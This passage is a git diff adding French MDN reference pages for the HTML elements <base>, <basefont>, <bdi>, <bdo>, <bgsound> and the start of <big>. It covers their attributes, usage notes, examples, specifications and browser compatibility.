+ <dd>Un nom ou un mot-clé qui indique l'emplacement par défaut à utiliser pour afficher le résultat de la navigation via les hyperliens ou les formulaires. Il sera utilisé pour les éléments qui ne possèdent pas de cible (<em>target</em>) explicitement déclarées. En HTML4 c'est un nom ou un mot-clé associé à une <em>frame</em>. En HTML5, c'est un nom ou un mot-clé associé à un <em>contexte de navigation</em> (par exemple un onglet, une fenêtre ou une <em>frame</em>). Les mots-clés qui sont utilisés ont la signification suivante :
+ <ul>
+  <li><code>_self</code> : Charge le résultat dans la même <em>frame</em> HTML4 ou dans le même contexte de navigation HTML5 que le contexte courant. C'est la valeur par défaut de l'attribut s'il n'est pas utilisé.</li>
+  <li><code>_blank</code> : Charge le résultat dans une nouvelle fenêtre HTML4 non-nommée ou dans un nouveau contexte de navigation HTML5.</li>
+  <li><code>_parent</code> : Charge le résultat dans le <em>frameset</em> parent de la <em>frame</em> courante HTML4 ou dans le contexte de navigation parent du contexte courant HTML5. S'il n'y a pas de parent, cette option aura le même effet que <code>_self</code>.</li>
+  <li><code>_top</code> : En HTML4, charge le résultat dans la fenêtre originelle, supprimant les autres <em>frames</em>. En HTML5, charge le résultat dans le contexte de navigation de plus haut niveau (c'est-à-dire le contexte de navigation qui est un ancêtre du contexte courant et qui n'a pas de parent). S'il n'y a pas de parent, cette option aura le même effet que <code>_self</code>.</li>
+ </ul>
+
+ <p>Si cet attribut est défini, cet élément devra être situé avant n'importe quel élément dont les valeurs des attributs sont des URL.</p>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Priorité">Priorité</h3>
+
+<p>Si plusieurs éléments <code>&lt;base&gt;</code> sont utilisés, seules les premières valeurs pour <code><strong>href</strong></code> et <code><strong>target</strong></code> sont utilisées, les autres valeurs sont ignorées.</p>
+
+<h3 id="Ancres">Ancres</h3>
+
+<p>Les ancres d'une page ({{HTMLElement("a")}}), par exemple <code>&lt;a href="#ancre"&gt;ancre&lt;/a&gt;</code>, sont résolues avec l'URL de base fournie via <code>&lt;base&gt;</code> et déclenche une requête HTTP vers l'URL de base.</p>
+
+<p>Ainsi, avec un document qui contient <code>&lt;base href="http://www.example.com/"&gt;</code> et plus loin <code>&lt;a href="#ancre"&gt;Ancre&lt;/a&gt;</code>, le lien fourni par l'ancre pointera vers <code>http://www.example.com/#ancre</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;base href="http://www.example.com/"&gt;
+&lt;base target="_blank" href="http://www.example.com/"&gt;
+</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_m.C3.A9ta-donn.C3.A9es">Contenu de méta-données</a>.</td>
+  </tr>
+  <tr>
+   <th><dfn>Contenu autorisé</dfn></th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th><dfn>Omission de balises</dfn></th>
+   <td>Il ne doit pas y avoir de balise fermante.</td>
+  </tr>
+  <tr>
+   <th>
+    <p><dfn>Parents autorisés</dfn></p>
+   </th>
+   <td>N'importe quel élément {{HTMLElement("head")}} qui ne contient pas un autre élément {{HTMLElement("base")}}.</td>
+  </tr>
+  <tr>
+   <th>Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLBaseElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition du comportement de l'attribut <code>target</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Ajout de l'attribut <code>target</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.base")}}</p>
diff --git a/files/fr/web/html/element/basefont/index.html b/files/fr/web/html/element/basefont/index.html
new file mode 100644
index 0000000000..1906d3fc9e
--- /dev/null
+++ b/files/fr/web/html/element/basefont/index.html
@@ -0,0 +1,66 @@
+---
+title: <basefont>
+slug: Web/HTML/Element/basefont
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/basefont
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément <code><strong>&lt;basefont&gt;</strong></code> définit la police par défaut (taille, fonte, couleur) pour les éléments qui sont des descendants de cet élément. La taille de la police utilisée peut ensuite varier relativement à cette taille de base grâce à l'élément {{HTMLElement("font")}}.</p>
+
+<div class="warning">
+<p><strong>Note d'utilisation : N'utilisez pas cet élément !</strong> L'ancien comportement de l'élément {{HTMLElement("font")}} peut être obtenu et contrôlé plus efficacement grâce <a href="/fr/docs/Web/CSS/CSS_Fonts">aux propriétés CSS relatives aux polices de caractères</a>.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>Cet attribut définit la couleur du texte grâce à une couleur nommée ou à une couleur définie dans un format hexadécimal #RRGGBB.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>Cet attribut contient une liste d'un ou plusieurs noms de police. Le texte du document, dans son style par défaut, est rendu avec la première police prise en charge par le navigateur du client. Si aucune police listée ne se trouve sur le système local, le navigateur utilise la police proportionnelle ou à largeur fixe du système.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Cet attribut définit la taille de la police avec une valeur numérique ou relative. Les valeurs numériques vont de 1 à 7 ; 1 étant la plus petite et 3 la taille par défaut.</dd>
+</dl>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cette élément implémente l'interface {{domxref('HTMLBaseFontElement')}}.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Bien qu'ayant été une fois normalisé (imprécisément) dans HTML 3.2, il n'a pas été pris en charge par l'ensemble des navigateurs principaux. De plus, les différents navigateurs et leurs versions successives ne l'ont jamais implémentés de la même façon. Utiliser cet élément a toujours produit un résultat <em>imprévisible</em>.</p>
+
+<p>L'élément <code>&lt;basefont&gt;</code> a été rendu obsolète dans le standard, comme les autres éléments qui se limitaient à l'apparence. À partir de HTML4, HTML n'apporte plus d'informations de présentation (en dehors de {{HTMLElement("style")}} et de l'attribut <code><strong>style</strong></code> de chaque élément). Avec HTML5, l'élément <code>&lt;basefont&gt;</code> a complètement été retiré. Pour tout nouveau développement web, seul CSS doit être utilisé pour les aspects de présentation.</p>
+
+<p>Il faut privilégier <a href="/fr/docs/Web/CSS/CSS_Fonts">les propriétés CSS relatives aux polices de caractères</a> pour obtenir l'effet souhaité.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;basefont color="#FF0000" face="Helvetica" size="+2" /&gt;
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.basefont")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>HTML 3.2 supporte l'élément <code>&lt;basefont&gt;</code> mais seulement avec son attribut <code>size</code>.</li>
+ <li>Les spécifications HTML strict et XHTML ne supportent pas cet élément.</li>
+ <li>Bien qu'ayant fait parti de standards transitionnels, certains navigateurs respectant les standards comme Mozilla et Opera ne supportent pas cet élément.</li>
+ <li>Cet élément peut être imité avec une règle CSS sur l'élément {{HTMLElement("body")}}.</li>
+ <li>XHTML 1.0 requiert une barre oblique de fermeture à la fin de cet élément : <code>&lt;basefont /&gt;</code>.</li>
+</ul>
diff --git a/files/fr/web/html/element/bdi/index.html b/files/fr/web/html/element/bdi/index.html
new file mode 100644
index 0000000000..cb0e30ee63
--- /dev/null
+++ b/files/fr/web/html/element/bdi/index.html
@@ -0,0 +1,199 @@
+---
+title: '<bdi> : l''élément d''isolation bidirectionnelle'
+slug: Web/HTML/Element/bdi
+tags:
+  - BiDi
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/bdi
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;bdi&gt;</code></strong> (ou élément d'isolation de texte bidirectionnel) isole une portée (<em>span</em>) de texte pouvant être formatée dans une direction différente de celle du texte qui l'entoure. Cela permet, par exemple, de présenter correctement une citation en arabe (écrit de droite à gauche) au sein d'un texte écrit en français (écrit de gauche à droite).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/bdi.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cet élément est utile lorsqu'on intègre du texte dont on ignore la directivité (provenant d'une base de données par exemple), au sein d'un autre texte dont la direction est connue.</p>
+
+<p class="note"><strong>Note :</strong> On peut également utiliser l'attribut {{htmlattrxref("dir")}} afin de surcharger la directionnalité de l'élément décidée par l'agent utilisateur pour le contenu de l'élément <code>&lt;bdi&gt;</code>.</p>
+
+<p>Un texte bidirectionnel est un texte qui contient à la fois des suites de caractères à lire de gauche à droite (LTR pour <em>left-to-right</em>) et des suites de caractères à lire de droite à gauche (RTL pour <em>right-to-left</em>), par exemple une citation en arabe dans un texte en néerlandais. Les navigateurs implémentent <a href="https://www.w3.org/International/articles/inline-bidi-markup/uba-basics">l'algorithme de bidirectionnalité Unicode</a> afin de gérer ces cas. Dans cet algorithme, les caractères ont une directionnalité implicite : les caractères latins sont considérés comme LTR et les caractères arabes comme RTL par exemple. D'autres caractères, comme les espaces ou certains caractères de ponctuation sont considérés comme neutres et leur directionnalité est fournie par les caractères environnant.</p>
+
+<p>La plupart du temps, cet algorithme fournira le bon résultat, sans que l'auteur ait besoin de fournir un balisage spécifique. Toutefois, dans certains cas, il faudra aider l'algorithme et c'est là qu'intervient <code>&lt;bdi&gt;</code>.</p>
+
+<p>L'élément <code>&lt;bdi&gt;</code> est utilisé afin d'encadrer un fragment de texte pour indiquer à l'algorithme de traiter ce texte avec une directionnalité différente du texte qui l'entoure. Cela fonctionne selon deux axes :</p>
+
+<ul>
+ <li>La directionnalité du texte contenu dans <code>&lt;bdi&gt;</code> <em>n'influence pas</em> la directionnalité du texte environnant.</li>
+ <li>La directionnalité du texte contenu dans <code>&lt;bdi&gt;</code> <em>n'est pas influencée</em> par la directionnalité du texte environnant.</li>
+</ul>
+
+<p>Prenons le texte suivant :</p>
+
+<pre class="no-line-numbers">TEXTE-INJECTÉ - 1re place</pre>
+
+<p>Si <code>TEXTE-INJECTÉ</code> est un texte LTR, aucun problème. En revanche, si <code>TEXTE-INJECTÉ</code> est RTL, <code> - 1</code> sera considéré comme du texte RTL (car ce fragment est composé de caractères neutres/faibles pour la directionnalité) et le résultat sera donc un mélange incohérent :</p>
+
+<pre class="no-line-numbers">1 - TEXTE-INJECTÉre place</pre>
+
+<p>Si on connaît d'avance la directionnalité de <code>TEXTE-INJECTÉ</code>, on peut corriger le problème en enveloppant <code>TEXTE-INJECTÉ</code> dans un élément {{HTMLElement("span")}} avec un attribut {{htmlattrxref("dir")}} décrivant la bonne directionnalité. Cependant, si on ne connaît pas la directionnalité à l'avance (<code>TEXTE-INJECTÉ</code> provenant d'une base de données ou étant saisi par un utilisateur), on utilisera <code>&lt;bdi&gt;</code> afin d'empêcher la directionnalité de <code>TEXTE-INJECTÉ</code> d'avoir un impact sur le texte environnant.</p>
+
+<p>Bien que le même effet de rendu puisse être créé avec la règle CSS {{cssxref("unicode-bidi")}}<code> : isolate</code> sur un élément {{HTMLElement("span")}} ou toute méthode de formatage du texte, la sémantique est ici uniquement portée par l'élément <code>&lt;bdi&gt;</code> . Les navigateurs peuvent notamment ignorer la mise en forme induite par la feuille CSS. Dans ce cas, le texte serait bien affiché en utilisant l'élément HTML mais deviendrait inutilisable si seul CSS est utilisé pour apporter cette information.</p>
+
+<p>Utiliser <code>&lt;span dir="auto"&gt;</code> aura le même effet qu'utiliser <code>&lt;bdi&gt;</code> mais la sémantique portée sera moindre.</p>
+
+<p>Pour en apprendre plus sur le texte bidirectionnel en HTML, nous vous invitons à lire <a href="/fr/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm">cet article sur l'algorithme qui détermine la direction du texte</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément dispose des <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>. Cependant il a une sémantique légèrement différente. En effet, l'attribut <code><strong>dir</strong></code> n'est pas hérité. S'il n'est pas renseigné, sa valeur par défaut sera <code>auto</code> et le navigateur décidera de la direction à appliquer selon le contenu de l'élément si aucune valeur parmi <code>"rtl"</code>, <code>"ltr"</code> n'est fournie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Texte_écrit_de_gauche_à_droite">Texte écrit de gauche à droite</h3>
+
+<p>Cet exemple affiche les gagnants d'une compétition grâce à des éléments {{HTMLElement("span")}}. Ici, les noms ne s'écrivent que de gauche à droite et le résultat s'affiche correctement :</p>
+
+<div id="bdi-sample-1">
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;span class="name"&gt;Henrietta Boffin&lt;/span&gt; - 1re place&lt;/li&gt;
+ &lt;li&gt;&lt;span class="name"&gt;Jerry Cruncher&lt;/span&gt; - 2e place&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  border: 1px solid #3f87a6;
+  max-width: calc(100% - 40px - 6px);
+  padding: 20px;
+  width: calc(100% - 40px - 6px);
+  border-width: 1px 1px 1px 5px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample('bdi-sample-1','','120','','','bdi-example')}}</p>
+
+<h3 id="Texte_de_droite_à_gauche">Texte de droite à gauche</h3>
+
+<p>Cela fonctionne sans problème tant que les noms s'écrivent de gauche à droite. Lorsqu'on insère un nom écrit de droite à gauche, la partie "<code>- 1</code>" sera captée par le texte en RTL et le résultat sera confus :</p>
+
+<div id="bdi-sample-2">
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;span class="name"&gt;اَلأَعْشَى&lt;/span&gt; - 1re place&lt;/li&gt;
+ &lt;li&gt;&lt;span class="name"&gt;Jerry Cruncher&lt;/span&gt; - 2e place&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  border: 1px solid #3f87a6;
+  max-width: calc(100% - 40px - 6px);
+  padding: 20px;
+  width: calc(100% - 40px - 6px);
+  border-width: 1px 1px 1px 5px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('bdi-sample-2','','120','','','bdi-example') }}</p>
+
+<h3 id="Utiliser_&lt;bdi>_avec_du_texte_utilisant_les_deux_directions">Utiliser <code>&lt;bdi&gt;</code> avec du texte utilisant les deux directions</h3>
+
+<p>Pour éviter cet écueil, on pourra utiliser <code>&lt;bdi&gt;</code> pour séparer le contenu :</p>
+
+<div id="bdi-sample-3">
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;bdi class="name"&gt;اَلأَعْشَى&lt;/bdi&gt; - 1re place&lt;/li&gt;
+ &lt;li&gt;&lt;bdi class="name"&gt;Jerry Cruncher&lt;/bdi&gt; - 2e place&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  border: 1px solid #3f87a6;
+  max-width: calc(100% - 40px - 6px);
+  padding: 20px;
+  width: calc(100% - 40px - 6px);
+  border-width: 1px 1px 1px 5px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('bdi-sample-3','','120','','','bdi-example') }}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.bdi")}}</p>
+
+<h2 dir="ltr" id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Localization">La localisation et l'internationalisation</a></li>
+ <li>{{HTMLElement("bdo")}}</li>
+ <li>Les propriétés CSS {{cssxref("direction")}} et {{cssxref("unicode-bidi")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/bdo/index.html b/files/fr/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..2df6620cf0
--- /dev/null
+++ b/files/fr/web/html/element/bdo/index.html
@@ -0,0 +1,113 @@
+---
+title: '<bdo> : l''élément de surcharge bidirectionnelle'
+slug: Web/HTML/Element/bdo
+tags:
+  - BiDi
+  - Element
+  - HTML
+  - Reference
+translation_of: Web/HTML/Element/bdo
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;bdo&gt;</code> </strong>(pour <em><strong>b</strong>i<strong>d</strong>irectional <strong>o</strong>verride</em> ou « surcharge bidirectionnelle ») est utilisé afin d'outrepasser la direction du texte. Cela permet d'imposer une direction donnée à un texte. L'orientation du texte est inversée mais pas celle des caractères.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/bdo.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments, on peut appliquer <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>La direction du texte au sein de l'élément. Cet attribut peut valoir :
+ <ul>
+  <li><code>ltr</code> : pour un texte allant de gauche à droite (<em>left-to-right</em>).</li>
+  <li><code>rtl</code> : pour un texte allant de droite à gauche (<em>right-to-left</em>).</li>
+  <li><code>auto</code> : Selon la nature du contenu, le navigateur décide de la direction.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Change la direction du texte --&gt;
+&lt;p&gt;Ce texte se lit de gauche à droite.&lt;/p&gt;
+&lt;p&gt;&lt;bdo dir="rtl"&gt;Ce texte se lit de droite à gauche.&lt;/bdo&gt;&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Note">Note</h2>
+
+<p>La spécification HTML 4 ne définissait pas d'évènement pour cet élément. Ils ont été ajoutés en XHTML. Ceci était probablement un oubli de la spécification HTML 4.</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLElement")}}. Auparavant et jusqu'à Gecko 1.9.2 (Firefox 4) inclus, Firefox implémente l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'dirlang.html#h-8.2.4', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.bdo")}}</p>
diff --git a/files/fr/web/html/element/bgsound/index.html b/files/fr/web/html/element/bgsound/index.html
new file mode 100644
index 0000000000..a4bcdd1142
--- /dev/null
+++ b/files/fr/web/html/element/bgsound/index.html
@@ -0,0 +1,59 @@
+---
+title: '<bgsound> : l''élément d''arrière-plan sonore (obsolète)'
+slug: Web/HTML/Element/bgsound
+tags:
+  - Element
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/bgsound
+---
+<div>{{HTMLRef}}{{non-standard_header}}{{obsolete_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;bgsound&gt;</code></strong> (pour <em>background sound</em> ou « son d'arrière-plan ») est un élément défini par Internet Explorer qui permet d'associer un son d'ambiance à une page.</p>
+
+<div class="warning">
+<p><strong>Attention : cet élément n'est pas standard et ne doit pas être utilisé !</strong> Pour intégrer du son à une page web, on utilisera l'élément {{HTMLElement("audio")}}.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{htmlattrdef("balance")}}</dt>
+ <dd>Cet attribut accepte un nombre entre -10 000 et +10 000, qui déterminera comment le volume sera réparti entre les hauts-parleurs (ou les écouteurs).</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Cet attribut indique le nombre de fois que le son doit être joué, grâce à une valeur numérique ou avec le mot-clé <code>infinite</code> (infini).</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Cet attribut indique l'URL du fichier sonore qui doit être joué. Il doit être d'un des types suivants : .wav, .au, ou .mid.</dd>
+ <dt>{{htmlattrdef("volume")}}</dt>
+ <dd>Cet attribut accepte un nombre entre -10 000 et 0 qui déterminera le volume du son.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;bgsound src="son1.mid"&gt;
+
+&lt;bgsound src="son2.au" loop="infinite"&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Une fonctionnalité similaire pouvait être obtenue dans d'autres navigateurs grâce à l'élément {{htmlelement("embed")}} afin d'invoquer un lecteur audio. Cet élément étant également obsolète, il est préférable d'utiliser {{HTMLElement("audio")}}.</p>
+
+<p>On peut écrire <code>bgsound</code> avec une balise auto-fermante <code>&lt;bgsound /&gt;</code>. Cependant, puisque cet élément ne fait pas partie du standard, le transformer en XHTML ne le rendra pas valide.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.bgsound")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément standard {{htmlelement("audio")}} qui permet d'ajouter du son dans un document HTML.</li>
+</ul>
diff --git a/files/fr/web/html/element/big/index.html b/files/fr/web/html/element/big/index.html
new file mode 100644
index 0000000000..77536b5bb8
--- /dev/null
+++ b/files/fr/web/html/element/big/index.html
@@ -0,0 +1,67 @@
+---
+title: '<big> : l''élément d''agrandissement de texte (obsolète)'
+slug: Web/HTML/Element/big
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/big
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;big&gt;</code></strong> (gros) augmente d'une taille la police du texte de l'élément (il permet par exemple de passer de <code>small</code> à <code>medium</code>, ou de <code>large</code> à <code>x-large</code>) jusqu'à atteindre la taille maximale du navigateur.</p>
+
+<div class="note">
+<p><strong>Note d'utilisation : </strong>Cet élément est purement stylistique. Il a été supprimé dans <a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> et ne doit plus être utilisé. Les développeurs web doivent utiliser les propriétés <a href="/fr/docs/Web/CSS">CSS</a> pour remplacer cet élément.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
